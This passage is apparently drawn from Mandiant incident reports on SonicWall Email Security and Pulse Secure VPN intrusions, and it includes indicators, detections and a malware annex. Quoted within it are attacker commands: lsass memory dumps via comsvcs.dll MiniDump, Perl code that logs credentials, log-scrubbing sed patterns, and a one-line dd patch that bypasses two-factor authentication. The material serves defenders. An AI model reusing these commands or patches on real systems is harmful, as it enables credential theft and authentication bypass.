Next, the adversary uploaded a ZIP archive containing the BEHINDER JSP web shell from the administrative panel's "branding" page. The crafted ZIP archive used a Zip Slip attack to exploit CVE-2021-20022, which caused the web shell to be written to the web-accessible Apache Tomcat directory <SonicWall ES install path>\Apache Software Foundation\Tomcat 9.0\webapps\SearchEngineRMIService\.

BEHINDER is a publicly available, multi-platform web shell that accepts encrypted command and control (C2) communications. In principle, BEHINDER operates similarly to CHINA CHOPPER, a popular web shell that has been previously detailed by FireEye. Like CHINA CHOPPER, an adversary operates a client-side application to pass commands to the web shell within the body of HTTP requests. As the core functionality of the backdoor is contained within the client-side application, BEHINDER—much like CHINA CHOPPER—has the added benefit of being small, with the variant observed in this investigation weighing in at less than 1 kilobyte (Figure 8).

Figure 8: The BEHINDER web shell observed by Mandiant, which executes AES encrypted and base64 encoded commands

With the addition of a web shell to the server, the adversary had unrestricted access to the command prompt, with the inherited permissions of the NT AUTHORITY\SYSTEM account.

After clearing the SonicWall application “webui.json” log file, the adversary escalated their attack to credential harvesting in preparation of moving laterally into the victim's network. The adversary relied on “living off the land” techniques rather than bringing their own tools into the environment, which often has the benefit of potentially avoiding detections from a security product.

We observed the adversary executing the reg save command to dump the HKLM\SAM, HKLM\SYSTEM, and HKLM\SECURITY registry hives, which contain vital information in recovering password hashes and LSA secrets. Additionally, the adversary obtained in-memory sensitive credentials through the use of built-in memory dumping techniques. The adversary was observed invoking the MiniDump export of the Windows DLL comsvcs.dll to dump both the process memory for lsass.exe and the running instance of Apache Tomcat as seen in Figure 9.

 rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump c:\windows\temp\TS_LAS.dmp full rundll32.exe C:\windows\system32\comsvcs.dll MiniDump C:\windows\temp\TS_FF9DG.dmp full

Figure 9: The adversary acquiring process memory for lsass.exe (MITRE ATT&CK T1003.001) and Apache Tomcat

Mandiant typically observes adversaries employing short and easy-to-type filenames during their operations, simply for efficiency. As such, the aforementioned filenames initially stood out as being peculiar, as a mix of case and symbols would require more effort to type than is often necessary. While this could always be indicative of a tool being used, the slight variations between the two commands—the absence of a comma before the DLL export and the uppercase C:\ drive in the second—suggest that they were manually typed. Considering that the C:\Windows\Temp\ directory on a Windows host also normally contains numerous similarly named temporary files, the adversary was likely taking extra care to evade suspicion should the activity reach the screen of a security analyst.

Continuing their effort to live off the land as much as possible, the adversary located a copy of the archiving utility 7-Zip already present on the host and used it to compress a subdirectory of <SonicWall ES install path>\data\archive\. This directory contains daily archives of emails processed by SonicWall ES—again demonstrating the adversary’s familiarity with the application.

After a several-day lull in activity, the adversary returned to the host, presumably after working to recover passwords from the registry hives and process memory that was dumped earlier. At the time of activity, the victim organization was using the same local Administrator password across multiple hosts in their domain, which provided the adversary an easy opportunity to move laterally under the context of this account—highlighting the value of randomizing passwords to built-in Windows accounts on each host within a domain.

We observed the adversary leveraging Impacket’s publicly available WMIEXEC.PY tool to access several internal hosts, which enabled remote command execution over Microsoft's DCOM protocol via Windows Management Instrumentation (WMI). The adversary managed to briefly perform internal reconnaissance activity prior to being isolated and removed from the environment.

Mandiant currently tracks this activity as UNC2682. Ultimately, Mandiant prevented UNC2682 from completing their mission so their objectives of the attack currently remain unknown.

Each investigation conducted by Mandiant includes analysts from our Advanced Practices team who work to correlate activity observed in the thousands of investigations that Mandiant responds to. At times, we do not have the data available to directly attribute intrusion activity to a previously known group. In these cases, we create a new UNC group to track the activity that we observed. An UNC group is a cluster of related cyber intrusion activity, which includes observable artifacts such as adversary infrastructure, tools, and tradecraft, that we are not yet ready to give a classification such as APT or FIN.

For more details on how Mandiant uses UNC groups, see our blog post: DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors.

#### Investigation & Monitoring Tips

Mandiant recommends monitoring of the following endpoint telemetry indicators for potential evidence of compromise:

• Child processes of the web server process “tomcat” on SonicWall Email Security appliances, particularly cmd.exe
• The creation or existence of web shells on a server hosting SonicWall Email Security

In addition to standard indicators, Mandiant recommends reviewing SonicWall-related internal configuration files and logs for evidence of previous adversary activity.

Evidence of malicious web requests and their values may be identifiable in the following log files:

1. The Apache Tomcat logs:
• C:\Program Files\SonicWallES\Apache Software Foundation\Tomcat 9.0\logs
2. The SonicWall application logs:
• C:\Program Files\SonicWallES\logs\webUI\webui.json

Evidence of unauthorized modifications to SonicWall configuration settings can be confirmed in the following files:

1. The administration user account file:
• C:\Program Files\SonicWallES\data\multi_accounts.xml
2. Additional user account files that may have been created in the following directories:
• C:\Program Files\SonicWallES\data\perhost
• C:\Program Files\SonicWallES\data\perldap
• C:\Program Files\SonicWallES\data\perou
3. Branding related zip files in any of the subdirectories of the following directory:
• C:\Program Files\SonicWallES\data\branding

#### Detecting the Techniques

FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of SonicWall ES exploitation or post-exploitation activities associated with this adversary.

 Product Signature FireEye Endpoint Security RUNDLL32.EXE COMSVCS.DLL PROCESS MINIDUMP (METHODOLOGY) SUSPICIOUS REGISTRY EXPORTS (METHODOLOGY) WEB SERVER ECHO REDIRECT (METHODOLOGY) WEB SERVER CMD.EXE TYPE RECON (METHODOLOGY) FireEye Network Security FireEye Email Security FireEye Detection On Demand FireEye Malware File Scanning FireEye Malware File Storage Scanning FE_PUP_Exploit_Linux_ZipSlip_1 FE_Exploit_Win_ZipSlip_1 FE_Trojan_ZIP_Generic_1 FE_Webshell_JSP_BEHINDER_1 FEC_Webshell_JSP_BEHINDER_1 Webshell.JSP.BEHINDER Webshell.JSP.BEHINDER.MVX FireEye Helix METHODOLOGY - LFI [Null-Byte URI] WMIEXEC UTILITY [Args] WINDOWS METHODOLOGY [Unusual Web Server Child Process]

Additionally, SonicWall has deployed Intrusion Prevention System (IPS) signatures to SonicWall firewalls to help detect and block attacks that attempt to leverage the aforementioned vulnerabilities. The following signatures have already been applied to SonicWall firewalls with active security subscriptions:

• IPS Signature: 15520 WEB-ATTACKS SonicWall Email Security (CVE-2021-20022 Vulnerability)
• IPS Signature: 1067 WEB-ATTACKS Web Application Directory Traversal Attack 7
• IPS Signature: 15509 WEB-ATTACKS Web Application Directory Traversal Attack 7 -c2

#### Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

 VID Name A101-563 Malicious File Transfer - BEHINDER, Download, Variant #1 A101-566 Web Shell Activity - BEHINDER, Basic Shell Interaction A101-564 Malicious File Transfer - Zip Slip, Download, EICAR Variant A101-565 Phishing Email - Malicious Attachment, Zip Slip, Generic Themed Lure

#### Vulnerability Disclosure

Mandiant disclosed the vulnerabilities CVE-2021-20021 and CVE-2021-20022 to SonicWall Product Security Incident Response Team (PSIRT) on March 26, 2021. The vulnerabilities were acknowledged and validated on March 29, 2021 and a hotfix became available on April 9, 2021. The patch was communicated to impacted SonicWall customers and partners on April 9, 2021.

Mandiant disclosed the vulnerability CVE-2021-20023 to SonicWall PSIRT on April 6, 2021. The vulnerability was acknowledged and validated on April 9, 2021 and a patch became available April 19.

To mitigate the three CVEs, Mandiant and SonicWall recommend upgrading Email Security to version 10.0.9.6173 (Windows) or 10.0.9.6177 (Hardware & ESXi Virtual Appliances). Organizations using SonicWall Hosted Email Security (HES) products were automatically updated and no action is required for those customers.

#### Acknowledgements

SonicWall PSIRT, Charles Carmakal, Ben Fedore, Geoff Ackerman and Andrew Thompson.

# Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day

20 April 2021 at 14:00

#### Executive Summary

• Mandiant recently responded to multiple security incidents involving compromises of Pulse Secure VPN appliances.
• This blog post examines multiple, related techniques for bypassing single and multifactor authentication on Pulse Secure VPN devices, persisting across upgrades, and maintaining access through webshells.
• The investigation by Pulse Secure has determined that a combination of prior vulnerabilities and a previously unknown vulnerability discovered in April 2021, CVE-2021-22893, are responsible for the initial infection vector.
• Pulse Secure’s parent company, Ivanti, released mitigations for a vulnerability exploited in relation to these malware families and the Pulse Connect Secure Integrity Tool for their customers to determine if their systems are impacted. A final patch to address the vulnerability will be available in early May 2021.
• Pulse Secure has been working closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues.
• There is no indication the identified backdoors were introduced through a supply chain compromise of the company’s network or software deployment process.

#### Introduction

Mandiant is currently tracking 12 malware families associated with the exploitation of Pulse Secure VPN devices. These families are related to the circumvention of authentication and backdoor access to these devices, but they are not necessarily related to each other and have been observed in separate investigations. It is likely that multiple actors are responsible for the creation and deployment of these various code families.

The focus of this report is on the activities of UNC2630 against U.S. Defense Industrial base (DIB) networks, but detailed malware analysis and detection methods for all samples observed at U.S. and European victim organizations are provided in the technical annex to assist network defenders in identifying a large range of malicious activity on affected appliances. Analysis is ongoing to determine the extent of the activity.

Mandiant continues to collaborate with the Ivanti and Pulse Secure teams, Microsoft Threat Intelligence Center (MSTIC), and relevant government and law enforcement agencies to investigate the threat, as well as develop recommendations and mitigations for affected Pulse Secure VPN appliance owners.

As part of their investigation, Ivanti has released mitigations for a vulnerability exploited in relation to this campaign as well as the Pulse Connect Secure Integrity Tool to assist with determining if systems have been impacted.

#### Details

Early this year, Mandiant investigated multiple intrusions at defense, government, and financial organizations around the world. In each intrusion, the earliest evidence of attacker activity traced back to DHCP IP address ranges belonging to Pulse Secure VPN appliances in the affected environment.

In many cases, we were not able to determine how actors obtained administrator-level access to the appliances. However, based on analysis by Ivanti, we suspect some intrusions were due to the exploitation of previously disclosed Pulse Secure vulnerabilities from 2019 and 2020 while other intrusions were due to the exploitation of CVE-2021-22893.

We observed UNC2630 harvesting credentials from various Pulse Secure VPN login flows, which ultimately allowed the actor to use legitimate account credentials to move laterally into the affected environments. In order to maintain persistence to the compromised networks, the actor utilized legitimate, but modified, Pulse Secure binaries and scripts on the VPN appliance. This was done to accomplish the following:

1. Trojanize shared objects with malicious code to log credentials and bypass authentication flows, including multifactor authentication requirements. We track these trojanized assemblies as SLOWPULSE and its variants.
2. Inject webshells we currently track as RADIALPULSE and PULSECHECK into legitimate Internet-accessible Pulse Secure VPN appliance administrative web pages for the devices.
3. Toggle the filesystem between Read-Only and Read-Write modes to allow for file modification on a typically Read-Only filesystem.
4. Maintain persistence across VPN appliance general upgrades that are performed by the administrator.
5. Unpatch modified files and delete utilities and scripts after use to evade detection.
6. Clear relevant log files utilizing a utility tracked as THINBLOOD based on an actor defined regular expression.

In a separate incident in March 2021, we observed UNC2717 using RADIALPULSE, PULSEJUMP, and HARDPULSE at a European organization. Although we did not observe PULSEJUMP or HARDPULSE used by UNC2630 against U.S. DIB companies, these malware families have shared characteristics and serve similar purposes to other code families used by UNC2630. We also observed an OpenSSL library file modified in similar fashion as the other trojanized shared objects. We believe that the modified library file, which we’ve named LOCKPICK, could weaken encryption for communications used by the appliance, but do not have enough evidence to confirm this.

Due to a lack of context and forensic evidence at this time, Mandiant cannot associate all the code families described in this report to UNC2630 or UNC2717. We also note the possibility that one or more related groups is responsible for the development and dissemination of these different tools across loosely connected APT actors. It is likely that additional groups beyond UNC2630 and UNC2717 have adopted one or more of these tools. Despite these gaps in our understanding, we included detailed analysis, detection techniques, and mitigations for all code families in the Technical Annex.

#### SLOWPULSE

During our investigation into the activities of UNC2630, we uncovered a novel malware family we labeled SLOWPULSE. This malware and its variants are applied as modifications to legitimate Pulse Secure files to bypass or log credentials in the authentication flows that exist within the legitimate Pulse Secure shared object libdsplibs.so. Three of the four discovered variants enable the attacker to bypass two-factor authentication. A brief overview of these variants is covered in this section, refer to the Technical Annex for more details.

##### SLOWPULSE Variant 1

This variant is responsible for bypassing LDAP and RADIUS-2FA authentication routines if a secret backdoor password is provided by the attacker. The sample inspects login credentials used at the start of each protocol’s associated routine and strategically forces execution down the successful authentication patch if the provided password matches the attacker's chosen backdoor password.

LDAP Auth Bypass

The routine DSAuth::LDAPAuthServer::authenticate begins the LDAP authentication procedure. This variant inserts a check against the backdoor password after the bind routine so that the return value can be conditionally stomped to spoof successful authentication.

Figure 1: LDAP Auth Bypass

The routine DSAuth::RadiusAuthServer::checkUsernamePassword begins the RADIUS-2FA authentication procedure. This variant inserts checks against the backdoor password after the RADIUS authentication packet is received back from the authentication server. If the backdoor password is provided by the attacker, the packet type and successful authentication status flags are overwritten to spoof successful authentication.

##### SLOWPULSE Variant 2

ACE Two Factor Auth Credential Logging

This variant logs credentials used during the ACE-2FA authentication procedure DSAuth::AceAuthServer::checkUsernamePassword. Rather than bypassing authentication, this variant logs the username and password to a file for later use by the attacker.

Figure 3: ACE Auth Credential Log

##### SLOWPULSE Variant 3

ACE Two Factor Auth Bypass

This variant is responsible for bypassing the ACE-2FA logon procedure starting with DSAuth::AceAuthServer::checkUsernamePassword. The flow of the authentication procedure is modified to bypass the routine responsible for verifying the username and password if the backdoor password is provided. With this modification the attacker can spoof successful authentication.

Figure 4: ACE Auth Bypass Variant

##### SLOWPULSE Variant 4

RealmSignin Two Factor Auth Bypass

This variant bypasses the RealmSignin::runSecondaryAuth procedure of the Pulse Secure VPN. The inserted logic modifies the execution flow of a specific step of the login process to spoof successful authentication. We believe that this may be a two-factor authentication bypass.

Figure 5: RealmSignIn 2FA Auth Bypass

We are in the early stages of gathering evidence and making attribution assessments and there are a number of gaps in our understanding of UNC2630, UNC2717, and these 12 code families. Nevertheless, the Mandiant and Ivanti teams are proactively releasing this analysis to assist network defenders in triaging and identifying malicious activity on affected appliances.

Mandiant is able to assess that:

• UNC2630 targeted U.S. DIB companies with SLOWPULSE, RADIALPULSE, THINBLOOD, ATRIUM, PACEMAKER, SLIGHTPULSE, and PULSECHECK as early as August 2020 until March 2021.
• We suspect UNC2630 operates on behalf of the Chinese government and may have ties to APT5
• UNC2717 targeted global government agencies between October 2020 and March 2021 using HARDPULSE, QUIETPULSE, AND PULSEJUMP.
• We do not have enough evidence about UNC2717 to determine government sponsorship or suspected affiliation with any known APT group.
• We do not have enough information about the use of LOCKPICK to make an attribution statement.
##### UNC2630

UNC2630’s combination of infrastructure, tools, and on-network behavior appear to be unique, and we have not observed them during any other campaigns or at any other engagement. Despite these new tools and infrastructure, Mandiant analysts noted strong similarities to historic intrusions dating back to 2014 and 2015 and conducted by Chinese espionage actor APT5. We have also uncovered limited evidence to suggest that UNC2630 operates on behalf of the Chinese government. Analysis is still ongoing to determine the full scope of the activity that maybe related to the group.

Although we are not able to definitively connect UNC2630 to APT5, or any other existing APT group, a trusted third party has uncovered evidence connecting this activity to historic campaigns which Mandiant tracks as Chinese espionage actor APT5. While we cannot make the same connections, the third party assessment is consistent with our understanding of APT5 and their historic TTPs and targets.

APT5 has shown significant interest in compromising networking devices and manipulating the underlying software which supports these appliances. They have also consistently targeted defense and technology companies in the U.S., Europe, and Asia.

• As early as 2014, Mandiant Incident Response discovered APT5 making unauthorized code modifications to files in the embedded operating system of another technology platform.
• In 2015, APT5 compromised a U.S. telecommunications organization providing services and technologies for private and government entities. During this intrusion, the actors downloaded and modified some of the router images related to the company’s network routers.
• Also during this time, APT5 stole files related to military technology from a South Asian defense organization. Observed filenames suggest the actors were interested in product specifications, emails concerning technical products, procurement bids and proposals, and documents on unmanned aerial vehicles (UAVs).
• APT5 persistently targets high value corporate networks and often re-compromises networks over many years. Their primary targets appear to be aerospace and defense companies located in the U.S., Europe, and Asia. Secondary targets (used to facilitate access to their primary targets) include network appliance manufacturers and software companies usually located in the U.S.

#### Recommendations

All Pulse Secure Connect customers should assess the impact of the Pulse Secure mitigations and apply it if possible. Organizations should utilize the most recent version of Pulse Secure’s Integrity Assurance utility released on March 31, 2021. If a device fails this Integrity Assurance utility, network administrators should follow the instructions here and contact their Pulse CSR for additional guidance.

Organizations should examine available forensic evidence to determine if an attacker compromised user credentials. Ivanti highly recommends resetting all passwords in the environment and reviewing the configuration to ensure no service accounts can be used to authenticate to the vulnerability.

Additional detections, mitigations and relevant MITRE ATT&CK techniques are included in the Technical Annex. Sample hashes and analysis are included to enable defenders to quickly assess if their respective appliances have been affected. Yara rules, Snort rules, and hashes are published on Mandiant’s GitHub page.

#### Detections and Mitigations

1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc

• HARDPULSE contains an embedded 'recovery' URL https://ive-host/dana-na/auth/recover[.]cgi?token=<varies> that may be accessed by an attacker. The sample uses the POST parameters checkcode, hashid, m, and filename. This URL is not present in legitimate versions of this file.

7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a

68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2

d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b

• PULSEJUMP, RADIALPULSE AND PACEMAKER use the following files to record credentials:
• /tmp/dsactiveuser.statementcounters
• /tmp/dsstartssh.statementcounters
• /tmp/dsserver-check.statementcounters

cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68

• The malicious operations of SLOWPULSE can be detected via log correlation between the authentication servers responsible for LDAP and RADIUS auth and the VPN server. Authentication failures in either LDAP or RADIUS logs with the associated VPN logins showing success would be an anomalous event worthy of flagging.

• Upon invocation of the PULSECHECK webshell, the following HTTP request headers will be sent:
 Key Value REQUEST_METHOD POST HTTP_X_KEY HTTP_X_CNT HTTP_X_CMD

1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd

• SLOWPULSE VARIANT 2 writes ACE logon credentials to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\n.

68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2

• PACEMAKER is saved at filepath /home/bin/memread
• Executed with commandline flags –t, -m, -s
• Attaches to victim processes with PTRACE and opens subfiles in /proc/

• THINBLOOD creates the files:
• /home/runtime/logs/log.events.vc1
• /home/runtime/logs/log.events.vc2
• /home/runtime/logs/log.access.vc1
• /home/runtime/logs/log.access.vc2
• Executes the system API with the mv command specifying one of the files above, targeting:
• /home/runtime/logs/log.access.vc0
• /home/runtime/logs/log.events.vc0
• Executes the rm command specify one of the .vc1 files above

133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a

• SLIGHTPULSE uses /tmp/1 as command execution log
• All POST requests to meeting_testjs.cgi are suspicious
• POST parameters: cert, img, name are used by malicious logic
• Responses to the endpoint with the name parameter respond with no-cache and image/gif

1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9

• THINBLOOD execution of sed on the files:
• log.events.vc0
• log.access.vc0
• Sed patterns used:
• s/.\x00[^\x00]*<regex_string>[^\x00]*\x09.\x00//g
• s/\x<hex_char>\x00[^\x00]*<regex_string>[^\x00]*\x09\x<hex_char>\x00//g

06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7

• The sample accepts an input and output file as its first and second arguments, then writes a patched version of the input out. The commandline argument e or E must be supplied as the fourth argument. Example command line:
• ./patcher input.bin output.bin backdoorkey e

f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90

• The sample uses the HTTP query parameter id and responds with HTTP headers "Cache-Control: no-cache\n" and "Content-type: text/html\n\n".

224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450

64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7

• Execute sed on PulseSecure system files
• Remounts filesystem as writable: system("/bin/mount -o remount,rw /dev/root /")
• Unexpected execution of other system commands such as tar, cp, rm

#### MITRE ATT&CK Techniques

The following list of MITRE ATT&CK techniques cover all malware samples described in this report as well as those observed throughout the lifecycle of UNC2630 and UNC2717.

• T1003-OS Credential Dumping
• T1016-System Network Configuration Discovery
• T1021.001-Remote Desktop Protocol
• T1027-Obfuscated Files or Information
• T1036.005-Match Legitimate Name or Location
• T1048-Exfiltration Over Alternative Protocol
• T1049-System Network Connections Discovery
• T1057-Process Discovery
• T1059-Command and Scripting Interpreter
• T1059.003-Windows Command Shell
• T1070-Indicator Removal on Host
• T1070.001-Clear Windows Event Logs
• T1070.004-File Deletion
• T1071.001-Web Protocols
• T1082-System Information Discovery
• T1098-Account Manipulation
• T1105-Ingress Tool Transfer
• T1111-Two-Factor Authentication Interception
• T1133-External Remote Services
• T1136-Create Account
• T1140-Deobfuscate/Decode Files or Information
• T1190-Exploit Public-Facing Application
• T1505.003-Web Shell
• T1518-Software Discovery
• T1554-Compromise Client Software Binary
• T1556.004-Network Device Authentication
• T1592.004 Gather Victim Host Information: Client Configurations
• T1562 Impair Defenses
• T1569.002-Service Execution
• T1574 Hijack Execution Flow
• T1600-Weaken Encryption

Figure 6: MITRE ATT&CK Map

#### Technical Annex

##### SLIGHTPULSE

The file meeting_testjs.cgi (SHA256: 133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a) is a webshell capable of arbitrary file read, write, and command execution. Malicious logic is inserted at the end of legitimate logic to respond to POST requests. We believe this webshell may be responsible for placing additional webshells and used to modify legitimate system components resulting in the other observed malware families due to its functionality.

The malicious logic inserts a branch condition to respond to HTTP POST requests rather than just the typical GET requests expected of the legitimate code. If GET requests are performed the legitimate logic is still invoked. POST requests have a series of parameters checked for existence to determine which command to invoke. This logic is:

 POST params Invoked Command cert writefile img, name with nonempty value readfile img set to empty string "", name execcmd anything else invoke original legitimate logic

Figure 7: Webshells respond to POSTs

All incoming and outgoing requests are base64 encoded/decoded and RC4 encrypted/decrypted. The scheme is simple. The first six characters of the data are a random key generated per request as a sort of nonce, with the static RC4 key appended. This nonce + phrase together act as the RC4 key. The phrase is not sent over the wire, only the nonce. This entire key is then used to encrypt/decrypt payload data that immediately follows the key. The form of data on the wire is:

Outbound/Inbound:

<6randbytes><encrypted_data>
^-RC4NONCE-^

Usage:

<6randbytes><rc4_phrase><encrypted_data>
^-------RC4 KEY--------^

This command accepts a base64 encoded, RC4 encrypted file name via the img parameter and opens it for read. The file contents are read in full then sent back to the attacker as base64 encoded, RC4 encrypted data with the headers "Content-type: application/x-download\n", and form header "Content-Disposition: attachment; filename=tmp\n\n".

WriteFile

This command accepts a base64 encoded, RC4 encrypted filename via the cert parameter, and base64 encoded, RC4 encrypted file data via the parameter md5. The filename is opened in write mode with the file data being written to the file before the file is closed. The results of this command are sent back to the attacker, using the headers "Cache-Control: no-cache\n" and "Content-type: text/html\n\n".

Execute

This command accepts a base64 encoded, RC4 encrypted commands via the name parameter. The malicious logic forbids the cd command and will respond with the text Error 404 if executed. All other commands will be executed via the system API with output piped to the file /tmp/1. The full system command is <command> >/tmp/1 2>&1. The output of this execution is read and sent back to the attacker base64 encoded, RC4 encrypted. The headers "Cache-Control: no-cache\n" and "Content-type: image/gif\n\n" are used. The response appears to be masquerading as a GIF when sending back this command output.

The file with the SHA256 hash d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b is a modified Perl script associated with a PulseSecure web-based tool which causes usernames, passwords and information associated with logins to this application to be written to the file /tmp/dsstartssh.statementcounters.

Retrieval of these login credentials must be achieved through other means such as an interactive login or a webshell. Persistence is achieved by the addition of compromised code which is continually served when requesting this PulseSecure webpage.

An excerpt of the code related to credential stealing is shown as follows:

my $realmName1 =$signin->getRealmInfo()->{name};

open(*fd, ">>/tmp/dsstartssh.statementcounters");

syswrite(*fd, "realm=$realmName1 ", 5000); syswrite(*fd, "username=$username ", 5000);

syswrite(*fd, "password=$password\n", 5000); close(*fd); ##### SLOWPULSE Variant 1 The file libdsplibs.so with SHA256 cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68 is a trojanized ELF shared object belonging to the PulseSecure VPN server. The sample has been modified to bypass specific authentication mechanisms of the LDAP and RADIUS protocols. The sample hardcodes a backdoor key that will silently subvert auth failures if the correct backdoor key is passed, establishing a VPN connection as if auth succeeded. If the backdoor password is not used, authentication will fail as normal. In multiple locations assembly is written into the padding regions between legitimate functions. As these regions are very small, around 20 bytes, the malicious logic stitches itself together by unconditionally jumping between multiple padding regions. The assembly is written in a way very similar to mid-function hooks, where it is common to push and then pop all flags and registers before and after the injected logic. By preserving registers and flags in this way the malicious logic is able to execute and perform its malicious logic as a passive observer if desired, only effecting the control flow in specific conditions. This is employed in two locations, the LDAP and RADIUS authentication routines, DSAuth::LDAPAuthServer::authenticate and DSAuth::RadiusAuthServer::checkUsernamePassword respectively. LDAP Auth Bypass In the typical execution of DSAuth::LDAPAuthServer::authenticate the legitimate application constructs the C++ object DSAuth::LDAPAuthServer::ldap then passes it to DSLdapServer::bind with the username and password for login. This bind may fail or succeed which determines the authentication failure or success of the LDAP protocol. The malicious logic inserted into the application redirects execution before DSLdapServer::bind just after the ldap object is constructed. At this point in execution the username and password are easily extracted from memory with mid-function hooking techniques, which the sample copies to a code cave in memory between two functions as a temporary storage location. The malicious logic then invokes DSLdapServer::bind as the normal logic would, which sets the return register EAX to 0 or 1 for failure or success. A check is then executed where the temporary password copy made earlier is checked against a hardcoded backdoor password. If this check passes the backdoor logic actives by overwriting EAX to 1 to force the application down the execution path of successful authentication, even though in reality authentication failed. ##### RADIUS Two Factor Auth Bypass In the typical execution of DSAuth::RadiusAuthServer::checkUsernamePassword the legitimate application sends a RADIUS-2FA auth packet with username and password via RadiusAuthPacket::sendRadiusPacket. The response is then retrieved and parsed by the routine DSAuth::RadiusAuthServer::handleResponse. After packet retrieval the packet type is verified to be 3, it's not known what this packet type specifies but this is the packet type of a successful authentication response. If the packet type check passes, then the sample reads a field of the packet that specifies if authentication was successful or not and then checks this status later. The inserted malicious logic hijacks execution just after DSAuth::RadiusAuthServer::handleResponse where the password sent to the RADIUS server is checked against a backdoor password. If this check passes the malicious logic overwrites the retrieved packet with values indicating that it's of type 3 and that authentication was successful. The malicious logic then rejoins the original execution flow where the packet type is checked. If written the spoofed values force the application down the execution path of successful authentication, even though in reality authentication failed. ##### SLOWPULSE Variant 2 ACE Two Factor Auth Credential Logging We also identified a variant of SLOWPULSE (SHA256: 1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd) which logs credentials used during ACE-2FA protocol authentication. The backdoor is implemented in the routine DSAuth::AceAuthServer::checkUsernamePassword. As part of the login procedure the username and password are retrieved then written into a map entry structure. The backdoor inserts an unconditional jump into the logon logic that takes this map entry structure, reads the username and password fields, then writes them to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\n. The backdoor then unconditionally jumps back into the normal control flow to continue the logon process as normal. ##### SLOWPULSE Variant 3 ACE Two Factor Auth Bypass We Identified another variant of SLOWPULSE (SHA256: b1c2368773259fbfef425e0bb716be958faa7e74b3282138059f511011d3afd9) which is similar to SLOWPULSE VARIANT 2 the malicious logic lives within DSAuth::AceAuthServer::checkUsernamePassword, however this variant bypasses the logon procedure rather than login credentials. Typical execution of this routine calls DsSecID_checkLogin to validate the username and password which sets the EAX register to 1. The routine DSAuth::AceAuthServer::handleACEAuthResult then checks EAX to determine if auth was successful or not. The malicious logic hijacks execution immediately after the username and password fields are written to their map entries, then checks if the password matches the backdoor password. If the password matches, then the EAX register is overwritten to 1. This puts the program in the same state as if DsSecID_checkLogin had successfully executed, but unlike SLOWPULSE VARIANT 1 the original authentication routine is not called at all. The malicious logic then rejoins execution before DSAuth::AceAuthServer::handleACEAuthResult which will now pass. This forces the application down the execution path of successful authentication, even though in reality authentication would have failed. ##### SLOWPULSE Variant 4 RealmSignin Two Factor Auth Bypass We identified a fourth variant of SLOWPULSE responsible for bypassing what may be the two-factor authentication step of the DSAuth::RealmSignin process. The backdoor is present within the function DSAuth::RealmSignin::runSigninStep.This routine is responsible for multiple steps of the login procedure and is implemented as a large switch statement. Case 11 of the switch statement typically calls the routines DSMap::setPrivacyKeyNames then DSAuth::RealmSignin::runSecondaryAuth. The malicious logic in this variant overwrites the call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This forces application flow as if DSAuth::RealmSignin::runSecondaryAuth always succeeds, without ever calling it. We were not able to recover a file with these patches applied as the attacker removed their patches after use. However, we did uncover both the patcher and unpatcher utilities. We do not provide a hash for this file as we have not recovered it from a system in the field. This analysis was performed by replaying the changes performed by the patcher we did recover. ##### SLOWPULSE Variant 2 Patcher As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: c9b323b9747659eac25cec078895d75f016e26a8b5858567c7fb945b7321722c is responsible for inserting SLOWPULSE V2 malicious logic to log ACE credentials. The patcher accepts two command line arguments, the path to the original binary and the patched output file path. The original binary is read into memory, patched, and then written to the output path. The assembly patches and offsets into the original binary are hardcoded. ##### SLOWPULSE Variant 3 Patcher As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: 06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7 is responsible for inserting SLOWPULSE V3 malicious logic to bypass ACE logon authentication process. The patcher accepts four arguments. The first argument is the original binary path, the second the patched output file path, third is the backdoor bypass password, and fourth is the letter e specifying to apply patches. The sample reads the original binary into memory, applies the assembly patches associated with SLOWPULSE V3, as well as the provided bypass password, then written to the output path. The assembly patches, and all offsets including where to copy the bypass password are hardcoded. ##### SLOWPULSE Variant 4 Patcher As part of our investigation into the SLOWPULSE family we recovered the utility the attacker used to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: e63ab6f82c711e4ecc8f5b36046eb7ea216f41eb90158165b82a6c90560ea415 responsible for inserting the patch for SLOWPULSE V3. The patch applied overwrites a single call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This patcher utility is a simple bash script, unlike the previous patchers which were compiled applications likely written in C. The script in full is: printf '\xB8' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31))
